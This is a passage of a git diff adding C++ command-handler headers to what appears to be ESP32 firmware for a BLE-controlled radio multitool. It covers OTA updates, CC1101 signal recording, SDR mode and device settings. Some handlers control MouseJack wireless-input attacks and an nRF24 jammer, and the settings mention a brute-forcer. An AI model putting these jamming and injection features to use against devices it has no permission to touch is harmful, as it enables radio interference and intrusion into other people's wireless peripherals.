ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x2D: Change jammer channel ───────────────────────────── + // Payload: [channel:1] + static bool handleJamSetChannel(const uint8_t* data, size_t len) { + if (len < 1) return false; + NrfJammer::setChannel(data[0]); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x2E: Clear all targets ───────────────────────────────── + static bool handleClearTargets(const uint8_t* data, size_t len) { + MouseJack::clearTargets(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x2F: Stop all NRF tasks (cleanup for screen exit) ────── + // Stops MouseJack scan/attack, spectrum analyzer, and jammer. + // Sends confirmation with current state of each subsystem. + static bool handleStopAll(const uint8_t* data, size_t len) { + bool wasScanning = MouseJack::isRunning(); + bool wasSpectrum = NrfSpectrum::isRunning(); + bool wasJamming = NrfJammer::isRunning(); + + if (wasScanning) MouseJack::stopScan(); + if (wasSpectrum) NrfSpectrum::stop(); + if (wasJamming) NrfJammer::stop(); + + // Wait briefly for tasks to finish releasing SPI + if (wasScanning || wasSpectrum || wasJamming) { + vTaskDelay(pdMS_TO_TICKS(150)); + } + + // Confirmation: [SUCCESS][wasScan][wasSpectrum][wasJam] + uint8_t resp[4] = { + MSG_COMMAND_SUCCESS, + wasScanning ? (uint8_t)1 : (uint8_t)0, + wasSpectrum ? (uint8_t)1 : (uint8_t)0, + wasJamming ? (uint8_t)1 : (uint8_t)0 + }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + + ESP_LOGI("NRF", "StopAll: scan=%d spec=%d jam=%d", + wasScanning, wasSpectrum, wasJamming); + return true; + } + + // ── 0x41: Apply nRF24 settings ────────────────────────────── + // Payload: [paLevel:1][dataRate:1][channel:1][autoRetransmit:1] = 4 bytes + static bool handleNrfSettings(const uint8_t* data, size_t len) { + if (len < 4) { + uint8_t resp[] = { MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + uint8_t paLevel = data[0]; + uint8_t dataRate = data[1]; + uint8_t channel = data[2]; + uint8_t autoRetrans = data[3]; + + // Clamp values + if (paLevel > 3) paLevel = 3; + if (dataRate > 2) dataRate = 0; + if (channel > 125) channel = 76; + if (autoRetrans > 15) autoRetrans = 5; + + // Update ConfigManager and persist + ConfigManager::settings.nrfPaLevel = paLevel; + ConfigManager::settings.nrfDataRate = dataRate; + ConfigManager::settings.nrfChannel = channel; + ConfigManager::settings.nrfAutoRetransmit = autoRetrans; + ConfigManager::saveSettings(); + + // Apply to NRF module if initialized + if (NrfModule::isInitialized() && NrfModule::isPresent()) { + if (NrfModule::acquireSpi()) { + NrfModule::setPALevel(paLevel); + NrfModule::setDataRate((NrfDataRate)dataRate); + NrfModule::setChannel(channel); + // Auto-retransmit: upper nibble = delay (250Β΅s steps), lower = count + uint8_t retrReg = (0x01 << 4) | (autoRetrans & 0x0F); // 500Β΅s delay + NrfModule::writeRegister(0x04, retrReg); // SETUP_RETR register + NrfModule::releaseSpi(); + } + } + + ESP_LOGI("NRF", "Settings applied: PA=%d DR=%d CH=%d ART=%d", + paLevel, dataRate, channel, autoRetrans); + + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } +}; + +#endif // NRF_COMMANDS_H diff --git a/include/OtaCommands.h b/include/OtaCommands.h new file mode 100644 index 0000000..257253a --- /dev/null +++ b/include/OtaCommands.h @@ -0,0 +1,158 @@ +/** + * @file OtaCommands.h + * @brief BLE command handlers for OTA firmware updates. + * + * Command IDs 0x30-0x35 for OTA operations. + * + * 0x30 = OTA_BEGIN β€” Start OTA session [size:4][md5:32] + * 0x31 = OTA_DATA β€” Write firmware chunk [chunkData:N] + * 0x32 = OTA_END β€” Finalize and verify + * 0x33 = OTA_ABORT β€” Cancel OTA + * 0x34 = OTA_REBOOT β€” Reboot device + * 0x35 = OTA_STATUS β€” Query OTA progress + */ + +#ifndef OTA_COMMANDS_H +#define OTA_COMMANDS_H + +#include +#include "core/ble/CommandHandler.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "modules/ota/OtaModule.h" +#include "esp_log.h" + +class OtaCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x30, handleOtaBegin); + handler.registerCommand(0x31, handleOtaData); + handler.registerCommand(0x32, handleOtaEnd); + handler.registerCommand(0x33, handleOtaAbort); + handler.registerCommand(0x34, handleOtaReboot); + handler.registerCommand(0x35, handleOtaStatus); + } + +private: + // ── 0x30: Begin OTA session ───────────────────────────────── + // Payload: [totalSize:4 LE][md5Hash:32 ASCII] = 36 bytes + static bool handleOtaBegin(const uint8_t* data, size_t len) { + if (len < 4) { + sendError("OTA_BEGIN: payload too short"); + return false; + } + + // Extract total size (little-endian u32) + uint32_t totalSize = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + + // Extract MD5 hash (optional, 32 ASCII chars) + char md5[33] = {}; + if (len >= 36) { + memcpy(md5, data + 4, 32); + md5[32] = '\0'; + } + + bool ok = OtaModule::begin(totalSize, md5[0] ? md5 : nullptr); + + if (ok) { + // Send OTA progress notification (0%) + sendProgress(0, totalSize, 0); + } else { + sendError(OtaModule::getLastError()); + } + return ok; + } + + // ── 0x31: Write firmware chunk ────────────────────────────── + // Payload: [rawBinaryData:N] + static bool handleOtaData(const uint8_t* data, size_t len) { + if (len == 0) return false; + + bool ok = OtaModule::writeChunk(data, len); + + if (ok) { + // Send progress every chunk (app can throttle display) + sendProgress(OtaModule::getBytesReceived(), + OtaModule::getTotalSize(), + OtaModule::getProgress()); + } else { + sendError(OtaModule::getLastError()); + } + return ok; + } + + // ── 0x32: Finalize OTA ────────────────────────────────────── + static bool handleOtaEnd(const uint8_t* data, size_t len) { + bool ok = OtaModule::end(); + + if (ok) { + uint8_t resp[] = { MSG_OTA_COMPLETE }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::OtaEvent, resp, sizeof(resp)); + } else { + sendError(OtaModule::getLastError()); + } + return ok; + } + + // ── 0x33: Abort OTA ───────────────────────────────────────── + static bool handleOtaAbort(const uint8_t* data, size_t len) { + OtaModule::abort(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::OtaEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x34: Reboot device ───────────────────────────────────── + static bool handleOtaReboot(const uint8_t* data, size_t len) { + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::OtaEvent, resp, sizeof(resp)); + // Small delay to let BLE notification go through + vTaskDelay(pdMS_TO_TICKS(500)); + OtaModule::reboot(); + return true; // Never reached + } + + // ── 0x35: Query OTA status ────────────────────────────────── + static bool handleOtaStatus(const uint8_t* data, size_t len) { + sendProgress(OtaModule::getBytesReceived(), + OtaModule::getTotalSize(), + OtaModule::getProgress()); + return true; + } + + // ── Helpers ───────────────────────────────────────────────── + + static void sendProgress(uint32_t received, uint32_t total, uint8_t pct) { + // [MSG_OTA_PROGRESS][received:4 LE][total:4 LE][percentage:1] + uint8_t buf[10]; + buf[0] = MSG_OTA_PROGRESS; + buf[1] = (uint8_t)(received & 0xFF); + buf[2] = (uint8_t)((received >> 8) & 0xFF); + buf[3] = (uint8_t)((received >> 16) & 0xFF); + buf[4] = (uint8_t)((received >> 24) & 0xFF); + buf[5] = (uint8_t)(total & 0xFF); + buf[6] = (uint8_t)((total >> 8) & 0xFF); + buf[7] = (uint8_t)((total >> 16) & 0xFF); + buf[8] = (uint8_t)((total >> 24) & 0xFF); + buf[9] = pct; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::OtaEvent, buf, sizeof(buf)); + } + + static void sendError(const char* msg) { + uint8_t buf[66]; + buf[0] = MSG_OTA_ERROR; + uint8_t msgLen = 0; + if (msg) { + msgLen = (uint8_t)std::min(strlen(msg), (size_t)64); + memcpy(buf + 1, msg, msgLen); + } + ClientsManager::getInstance().notifyAllBinary( + NotificationType::OtaEvent, buf, 1 + msgLen); + } +}; + +#endif // OTA_COMMANDS_H diff --git a/include/RecorderCommands.h b/include/RecorderCommands.h new file mode 100644 index 0000000..869bae8 --- /dev/null +++ b/include/RecorderCommands.h @@ -0,0 +1,156 @@ +#ifndef RecorderCommands_h +#define RecorderCommands_h + +#include "core/ble/CommandHandler.h" +#include "DeviceTasks.h" +#include "core/ble/ControllerAdapter.h" +#include "esp_log.h" +#include "config.h" +#include +// #include // Removed β€” unused in RecorderCommands +#include +#include "modules/CC1101_driver/CC1101_Module.h" + +// Forward declaration +class Recorder; + +class RecorderCommands { +public: + // Registering all recorder commands + static void registerCommands(CommandHandler& handler) { + ESP_LOGI("RecorderCommands", "Registering recorder commands"); + + handler.registerCommand(0x08, handleRequestRecord); + + ESP_LOGI("RecorderCommands", "Recorder commands registered successfully"); + } + +private: + // Request record + static bool handleRequestRecord(const uint8_t* data, size_t len) { + if (len < 68) { + ESP_LOGW("RecorderCommands", "Insufficient data for requestRecord: %zu bytes", len); + return false; + } + + // Parse RequestRecord struct (68 bytes) + int offset = 0; + + // frequency (4 bytes) + float frequency; + memcpy(&frequency, data + offset, 4); + offset += 4; + + // preset (50 bytes) - null-terminated UTF-8 string + char presetStr[51]; + memset(presetStr, 0, sizeof(presetStr)); + memcpy(presetStr, data + offset, 50); + offset += 50; + + // Extract preset string (null-terminated, UTF-8) + // Find null terminator to get actual string length + size_t presetLen = strnlen(presetStr, 50); + std::string presetString(presetStr, presetLen); + + // Trim whitespace from preset string + presetString.erase(0, presetString.find_first_not_of(" \t\n\r")); + presetString.erase(presetString.find_last_not_of(" \t\n\r") + 1); + + // module (1 byte) + uint8_t module = data[offset]; + offset += 1; + + // modulation (1 byte) + uint8_t modulation = data[offset]; + offset += 1; + + // deviation (4 bytes) + float deviation; + memcpy(&deviation, data + offset, 4); + offset += 4; + + // rxBandwidth (4 bytes) + float rxBandwidth; + memcpy(&rxBandwidth, data + offset, 4); + offset += 4; + + // dataRate (4 bytes) + float dataRate; + memcpy(&dataRate, data + offset, 4); + + ESP_LOGI("RecorderCommands", "RequestRecord: module=%d, freq=%.2f, mod=%d, dev=%.2f, bw=%.2f, rate=%.2f, preset='%s'", + module, frequency, modulation, deviation, rxBandwidth, dataRate, presetStr); + + Device::TaskRecordBuilder builder(frequency); + builder.setModule(module); + + // Only set preset if it's not empty + if (!presetString.empty()) { + // When preset is provided, don't set modulation/deviation/rxBandwidth/dataRate + // to avoid overriding preset values + builder.setPreset(presetString); + } else { + // Only set individual parameters when preset is not provided + builder.setModulation(modulation) + .setDeviation(deviation) + .setRxBandwidth(rxBandwidth) + .setDataRate(dataRate); + } + + Device::TaskRecord task = builder.build(); + + ControllerAdapter::sendTask(std::move(task)); + + return true; + } + + // Record signal + static bool handleRecordSignal(const uint8_t* data, size_t len) { + if (len < 1) { + ESP_LOGW("RecorderCommands", "Insufficient data for recordSignal"); + return false; + } + + uint8_t module = data[0]; + + ESP_LOGI("RecorderCommands", "RecordSignal: module=%d", module); + + Device::TaskRecord task = Device::TaskRecordBuilder(433.92f) + .setModule(module) + .build(); + + ControllerAdapter::sendTask(std::move(task)); + + return true; + } + + // Transition to idle + static bool handleIdle(const uint8_t* data, size_t len) { + if (len < 1) { + ESP_LOGW("RecorderCommands", "Insufficient data for idle"); + return false; + } + + uint8_t module = data[0]; + + ESP_LOGI("RecorderCommands", "Idle: module=%d", module); + + Device::TaskIdle task(module); + + ControllerAdapter::sendTask(std::move(task)); + + return true; + } + + // Get state + static bool handleGetState(const uint8_t* data, size_t len) { + ESP_LOGI("RecorderCommands", "GetState"); + + Device::TaskGetState task(true); + ControllerAdapter::sendTask(std::move(task)); + + return true; + } +}; + +#endif diff --git a/include/SafeBuffer.h b/include/SafeBuffer.h new file mode 100644 index 0000000..1ec5521 --- /dev/null +++ b/include/SafeBuffer.h @@ -0,0 +1,209 @@ +#ifndef SafeBuffer_h +#define SafeBuffer_h + +#include +#include + +/** + * @brief RAII wrapper for dynamic buffers + * + * Automatically frees memory at scope exit. + * Prevents memory leaks on exceptions or early returns. + * + * @tparam T Element type of the buffer (default uint8_t) + * + * @example + * void processData(size_t dataSize) { + * SafeBuffer buffer(dataSize); + * if (!buffer.isValid()) { + * // Out of memory + * return; + * } + * + * // Use the buffer + * memcpy(buffer.get(), source, dataSize); + * + * // Memory is freed automatically on exit + * } + */ +template +class SafeBuffer { +private: + T* buffer; + size_t size; + +public: + /** + * @brief Constructor - allocates memory for the buffer + * @param count Number of elements of type T + */ + explicit SafeBuffer(size_t count) + : size(count), buffer(nullptr) { + if (count > 0) { + buffer = static_cast(malloc(count * sizeof(T))); + } + } + + /** + * @brief Destructor - frees memory automatically + */ + ~SafeBuffer() { + if (buffer) { + free(buffer); + buffer = nullptr; + } + } + + // Getters + + /** + * @brief Get pointer to buffer + * @return Pointer to buffer or nullptr if allocation failed + */ + T* get() { return buffer; } + + /** + * @brief Get const pointer to buffer + * @return Const pointer to buffer + */ + const T* get() const { return buffer; } + + /** + * @brief Get buffer size in elements + * @return Size in elements of type T + */ + size_t getSize() const { return size; } + + /** + * @brief Get buffer size in bytes + * @return Size in bytes + */ + size_t getSizeBytes() const { return size * sizeof(T); } + + /** + * @brief Check allocation success + * @return true if buffer is allocated, false if out of memory + */ + bool isValid() const { return buffer != nullptr; } + + // Access operators + + /** + * @brief Index access operator + * @param index Element index + * @return Reference to element + */ + T& operator[](size_t index) { + return buffer[index]; + } + + /** + * @brief Const index access operator + * @param index Element index + * @return Const reference to element + */ + const T& operator[](size_t index) const { + return buffer[index]; + } + + // Disable copying (move only) + + /** + * @brief Deleted copy constructor + * + * Copying is disabled to prevent double free. + * Use move semantics to transfer ownership. + */ + SafeBuffer(const SafeBuffer&) = delete; + + /** + * @brief Deleted copy assignment operator + */ + SafeBuffer& operator=(const SafeBuffer&) = delete; + + // Move semantics + + /** + * @brief Move constructor + * + * Transfers ownership of the buffer from other to this. + * After the operation other becomes empty. + * + * @param other Buffer to move + */ + SafeBuffer(SafeBuffer&& other) noexcept + : buffer(other.buffer), size(other.size) { + other.buffer = nullptr; + other.size = 0; + } + + /** + * @brief Move assignment operator + * + * Transfers ownership of the buffer from other to this. + * Current buffer is freed, other becomes empty. + * + * @param other Buffer to move + * @return Reference to this + */ + SafeBuffer& operator=(SafeBuffer&& other) noexcept { + if (this != &other) { + // Free current buffer + if (buffer) { + free(buffer); + } + + // Move from other + buffer = other.buffer; + size = other.size; + + // Clear other + other.buffer = nullptr; + other.size = 0; + } + return *this; + } + + /** + * @brief Manually free buffer before scope exit + * + * Useful if memory must be freed earlier. + * After calling freeEarly() isValid() will return false. + */ + void release() { + if (buffer) { + free(buffer); + buffer = nullptr; + size = 0; + } + } +}; + +/** + * @brief Specialization for char* (convenient for string buffers) + */ +using CharBuffer = SafeBuffer; + +/** + * @brief Specialization for uint8_t* (standard byte buffers) + */ +using ByteBuffer = SafeBuffer; + +#endif // SafeBuffer_h + + + + + + + + + + + + + + + + + diff --git a/include/SdrCommands.h b/include/SdrCommands.h new file mode 100644 index 0000000..2c193d3 --- /dev/null +++ b/include/SdrCommands.h @@ -0,0 +1,272 @@ +/** + * @file SdrCommands.h + * @brief BLE command handlers for SDR (Software Defined Radio) mode. + * + * Registers command IDs 0x50-0x59 for SDR operations. + * Follows the same CommandHandler pattern as NrfCommands, BruterCommands, etc. + * + * Command protocol: + * 0x50 = SDR_ENABLE β€” Enter SDR mode (locks CC1101 module) + * 0x51 = SDR_DISABLE β€” Exit SDR mode (unlocks CC1101 module) + * 0x52 = SDR_SET_FREQ β€” Set center frequency [freq_khz:4LE] + * 0x53 = SDR_SET_BANDWIDTH β€” Set RX bandwidth [bw_khz:2LE] + * 0x54 = SDR_SET_MODULATION β€” Set modulation type [mod:1] + * 0x55 = SDR_SPECTRUM_SCAN β€” Start spectrum scan [startKhz:4LE][endKhz:4LE][stepKhz:2LE] + * 0x56 = SDR_RX_START β€” Start raw RX streaming + * 0x57 = SDR_RX_STOP β€” Stop raw RX streaming + * 0x58 = SDR_GET_STATUS β€” Get current SDR status + * 0x59 = SDR_SET_DATARATE β€” Set data rate [rate_baud:4LE] + * + * When SDR mode is active, other CC1101 commands (record, transmit, detect, + * jam) should be blocked by the app UI (SDR MODE toggle in Settings). + * + * Response messages: + * MSG_SDR_STATUS (0xC4) β€” SDR mode status + * MSG_SDR_SPECTRUM_DATA (0xC5) β€” Spectrum scan results (chunked) + * MSG_SDR_RAW_DATA (0xC6) β€” Raw RX data from CC1101 FIFO + */ + +#ifndef SDR_COMMANDS_H +#define SDR_COMMANDS_H + +#include +#include "config.h" + +#if SDR_MODULE_ENABLED + +#include "core/ble/CommandHandler.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "modules/sdr/SdrModule.h" +#include "esp_log.h" + +class SdrCommands { +public: + /** + * Register all SDR BLE command handlers (0x50-0x59). + */ + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x50, handleEnable); + handler.registerCommand(0x51, handleDisable); + handler.registerCommand(0x52, handleSetFreq); + handler.registerCommand(0x53, handleSetBandwidth); + handler.registerCommand(0x54, handleSetModulation); + handler.registerCommand(0x55, handleSpectrumScan); + handler.registerCommand(0x56, handleRxStart); + handler.registerCommand(0x57, handleRxStop); + handler.registerCommand(0x58, handleGetStatus); + handler.registerCommand(0x59, handleSetDataRate); + } + +private: + // ── 0x50: Enable SDR mode ───────────────────────────────────── + // Payload: [module:1] (optional, defaults to SDR_DEFAULT_MODULE) + static bool handleEnable(const uint8_t* data, size_t len) { + int module = (len >= 1) ? data[0] : SDR_DEFAULT_MODULE; + + bool ok = SdrModule::enable(module); + + uint8_t resp[2]; + resp[0] = ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR; + resp[1] = ok ? 1 : 0; // 1 = SDR active + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, sizeof(resp)); + + if (ok) { + SdrModule::sendStatus(); + } + return ok; + } + + // ── 0x51: Disable SDR mode ──────────────────────────────────── + // Payload: none + static bool handleDisable(const uint8_t* data, size_t len) { + (void)data; (void)len; + + bool ok = SdrModule::disable(); + + uint8_t resp[2]; + resp[0] = ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR; + resp[1] = 0; // 0 = SDR inactive + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x52: Set frequency ─────────────────────────────────────── + // Payload: [freq_khz:4LE] + static bool handleSetFreq(const uint8_t* data, size_t len) { + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + if (len < 4) { + sendError("Missing freq_khz (4 bytes)"); + return false; + } + + uint32_t freqKhz = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + float freqMHz = freqKhz / 1000.0f; + + bool ok = SdrModule::setFrequency(freqMHz); + + uint8_t resp[1] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + + if (ok) SdrModule::sendStatus(); + return ok; + } + + // ── 0x53: Set bandwidth ─────────────────────────────────────── + // Payload: [bw_khz:2LE] + static bool handleSetBandwidth(const uint8_t* data, size_t len) { + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + if (len < 2) { + sendError("Missing bw_khz (2 bytes)"); + return false; + } + + uint16_t bwKhz = data[0] | (data[1] << 8); + bool ok = SdrModule::setBandwidth((float)bwKhz); + + uint8_t resp[1] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return ok; + } + + // ── 0x54: Set modulation ────────────────────────────────────── + // Payload: [mod:1] (0=2FSK, 1=GFSK, 2=ASK/OOK, 3=4FSK, 4=MSK) + static bool handleSetModulation(const uint8_t* data, size_t len) { + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + if (len < 1) { + sendError("Missing modulation byte"); + return false; + } + + bool ok = SdrModule::setModulation(data[0]); + + uint8_t resp[1] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return ok; + } + + // ── 0x55: Spectrum scan ─────────────────────────────────────── + // Payload: [startKhz:4LE][endKhz:4LE][stepKhz:2LE] (10 bytes) + // If no payload: full scan 300-928 MHz at default step + static bool handleSpectrumScan(const uint8_t* data, size_t len) { + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + + SpectrumScanConfig cfg; + + if (len >= 10) { + uint32_t startKhz = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + uint32_t endKhz = data[4] | (data[5] << 8) | (data[6] << 16) | (data[7] << 24); + uint16_t stepKhz = data[8] | (data[9] << 8); + + cfg.startFreqMHz = startKhz / 1000.0f; + cfg.endFreqMHz = endKhz / 1000.0f; + cfg.stepMHz = stepKhz / 1000.0f; + } + // else: use defaults (300-928 MHz, 100 kHz step) + + // Validate + if (cfg.stepMHz <= 0.0f) cfg.stepMHz = 0.1f; + + int points = SdrModule::spectrumScan(cfg); + + uint8_t resp[1] = { (points > 0) ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return points > 0; + } + + // ── 0x56: Start raw RX streaming ────────────────────────────── + // Payload: none + static bool handleRxStart(const uint8_t* data, size_t len) { + (void)data; (void)len; + + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + + bool ok = SdrModule::startRawRx(); + + uint8_t resp[1] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return ok; + } + + // ── 0x57: Stop raw RX streaming ─────────────────────────────── + // Payload: none + static bool handleRxStop(const uint8_t* data, size_t len) { + (void)data; (void)len; + + SdrModule::stopRawRx(); + + uint8_t resp[1] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return true; + } + + // ── 0x58: Get SDR status ────────────────────────────────────── + // Payload: none + static bool handleGetStatus(const uint8_t* data, size_t len) { + (void)data; (void)len; + + SdrModule::sendStatus(); + return true; + } + + // ── 0x59: Set data rate ─────────────────────────────────────── + // Payload: [rate_baud:4LE] + static bool handleSetDataRate(const uint8_t* data, size_t len) { + if (!SdrModule::isActive()) { + sendError("SDR not active"); + return false; + } + if (len < 4) { + sendError("Missing rate_baud (4 bytes)"); + return false; + } + + uint32_t rateBaud = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + float kBaud = rateBaud / 1000.0f; + + bool ok = SdrModule::setDataRate(kBaud); + + uint8_t resp[1] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, resp, 1); + return ok; + } + + // ── Helper: send error via BLE ──────────────────────────────── + static void sendError(const char* msg) { + uint8_t packet[2 + 64]; + packet[0] = MSG_COMMAND_ERROR; + size_t msgLen = strlen(msg); + if (msgLen > 63) msgLen = 63; + packet[1] = (uint8_t)msgLen; + memcpy(packet + 2, msg, msgLen); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, packet, 2 + msgLen); + } +}; + +#endif // SDR_MODULE_ENABLED +#endif // SDR_COMMANDS_H diff --git a/include/StateCommands.h b/include/StateCommands.h new file mode 100644 index 0000000..bcb27a6 --- /dev/null +++ b/include/StateCommands.h @@ -0,0 +1,250 @@ +#ifndef StateCommands_h +#define StateCommands_h + +#include "core/ble/CommandHandler.h" +#include "DeviceTasks.h" +#include "core/ble/ControllerAdapter.h" +#include "core/ble/Request.h" +#include "esp_log.h" +#include "config.h" +#include "ConfigManager.h" +#include "BinaryMessages.h" +#include "core/ble/ClientsManager.h" + +#if BATTERY_MODULE_ENABLED +#include "modules/battery/BatteryModule.h" +#endif + +class StateCommands { +public: + // Registering all state commands + static void registerCommands(CommandHandler& handler) { + ESP_LOGI("StateCommands", "Registering state commands"); + + handler.registerCommand(0x01, handleGetState); + handler.registerCommand(0x02, handleRequestScan); + handler.registerCommand(0x03, handleRequestIdle); + handler.registerCommand(0x13, handleSetTime); + handler.registerCommand(0x17, handleSetDeviceName); + handler.registerCommand(0x15, handleReboot); + handler.registerCommand(0x16, handleFactoryReset); + handler.registerCommand(0xC1, handleSettingsUpdate); + + ESP_LOGI("StateCommands", "State commands registered successfully"); + } + +private: + // Get state β€” also sends SettingsSync to keep app in sync + static bool handleGetState(const uint8_t* data, size_t len) { + ESP_LOGI("StateCommands", "GetState"); + + Device::TaskGetState task(true); + ControllerAdapter::sendTask(std::move(task)); + + // Send current settings to the app (piggybacks on state request) + sendSettingsSync(); + + // Send firmware version so the app can compare for OTA updates + sendVersionInfo(); + + // Send device name to the app + sendDeviceName(); + + // Send battery status if module is enabled +#if BATTERY_MODULE_ENABLED + if (BatteryModule::isInitialized()) { + BatteryModule::sendBatteryStatus(); + } +#endif + + return true; + } + + // Request scan + static bool handleRequestScan(const uint8_t* data, size_t len) { + if (len != sizeof(RequestScan)) { + ESP_LOGW("StateCommands", "Invalid payload size for requestScan"); + return false; + } + + RequestScan request; + memcpy(&request, data, sizeof(RequestScan)); + + if (!moduleExists(request.module)) { + ESP_LOGE("StateCommands", "Invalid module number: %d", request.module); + return false; + } + + ESP_LOGI("StateCommands", "RequestScan: module=%d, minRssi=%d", request.module, request.minRssi); + + Device::TaskDetectSignalBuilder taskBuilder; + taskBuilder.setModule(request.module); + taskBuilder.setMinRssi(request.minRssi); + + Device::TaskDetectSignal task = taskBuilder.build(); + ControllerAdapter::sendTask(std::move(task)); + + return true; + } + + // Request idle + static bool handleRequestIdle(const uint8_t* data, size_t len) { + if (len < 1) { + ESP_LOGW("StateCommands", "Insufficient data for requestIdle"); + return false; + } + + uint8_t module = data[0]; + + if (!moduleExists(module)) { + ESP_LOGE("StateCommands", "Invalid module number: %d", module); + return false; + } + + ESP_LOGI("StateCommands", "RequestIdle: module=%d", module); + + Device::TaskIdle task(module); + ControllerAdapter::sendTask(std::move(task)); + + return true; + } + + // Set time (Unix timestamp in seconds, 4 bytes little-endian) + static bool handleSetTime(const uint8_t* data, size_t len) { + if (len < 4) { + ESP_LOGW("StateCommands", "Insufficient data for setTime"); + return false; + } + + // Read Unix timestamp (little-endian) + uint32_t timestamp = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + + // Set global time + extern uint32_t deviceTime; + deviceTime = timestamp; + + ESP_LOGI("StateCommands", "Time set to: %lu (Unix timestamp)", (unsigned long)timestamp); + + return true; + } + + // Reboot device + static bool handleReboot(const uint8_t* data, size_t len) { + ESP_LOGI("StateCommands", "Rebooting device"); + ESP.restart(); + return true; + } + + // Set BLE device name β€” payload is the raw ASCII name (1-20 bytes). + // Takes effect after reboot. Sends confirmation via VersionInfo. + static bool handleSetDeviceName(const uint8_t* data, size_t len) { + if (len < 1 || len > MAX_DEVICE_NAME_LEN) { + ESP_LOGW("StateCommands", "Invalid device name length: %u (must be 1-%u)", + (unsigned)len, (unsigned)MAX_DEVICE_NAME_LEN); + return false; + } + if (!ConfigManager::setDeviceName(reinterpret_cast(data), len)) { + ESP_LOGE("StateCommands", "Failed to set device name"); + return false; + } + ESP_LOGI("StateCommands", "Device name set to: %s", ConfigManager::settings.deviceName); + + // Send confirmation: reply with command success including the new name + uint8_t resp[2 + MAX_DEVICE_NAME_LEN]; + resp[0] = 0xF2; // MSG_COMMAND_SUCCESS + resp[1] = 0x17; // echo command ID + size_t nameLen = strlen(ConfigManager::settings.deviceName); + memcpy(resp + 2, ConfigManager::settings.deviceName, nameLen); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::State, + resp, 2 + nameLen); + return true; + } + + // Factory reset β€” erase all LittleFS data and reboot. + // Payload: [0x46][0x52] ('FR') as confirmation guard. + static bool handleFactoryReset(const uint8_t* data, size_t len) { + // Require 2-byte confirmation payload 'FR' to prevent accidental resets + if (len < 2 || data[0] != 0x46 || data[1] != 0x52) { + ESP_LOGW("StateCommands", "Factory reset rejected: missing confirmation bytes 'FR'"); + return false; + } + ESP_LOGW("StateCommands", "FACTORY RESET confirmed via BLE/serial"); + + // Notify clients before reset + uint8_t resp[2] = { 0xF2, 0x16 }; // CMD_SUCCESS + cmd id + ClientsManager::getInstance().notifyAllBinary( + NotificationType::State, resp, sizeof(resp)); + + // Give BLE time to send notification, then reset + vTaskDelay(pdMS_TO_TICKS(300)); + ConfigManager::factoryReset(); // This will reboot + return true; // unreachable + } + + // Receive settings update from app and persist + // Payload: [scannerRssi:int8][bruterPower:u8][delayLo:u8][delayHi:u8][bruterRepeats:u8] + static bool handleSettingsUpdate(const uint8_t* data, size_t len) { + if (len < 5) { + ESP_LOGW("StateCommands", "Insufficient data for settingsUpdate (%u < 5)", (unsigned)len); + return false; + } + if (!ConfigManager::updateFromBle(data, len)) { + ESP_LOGE("StateCommands", "Failed to update settings from BLE"); + return false; + } + ESP_LOGI("StateCommands", "Settings updated from app: rssi=%d power=%d delay=%d reps=%d", + 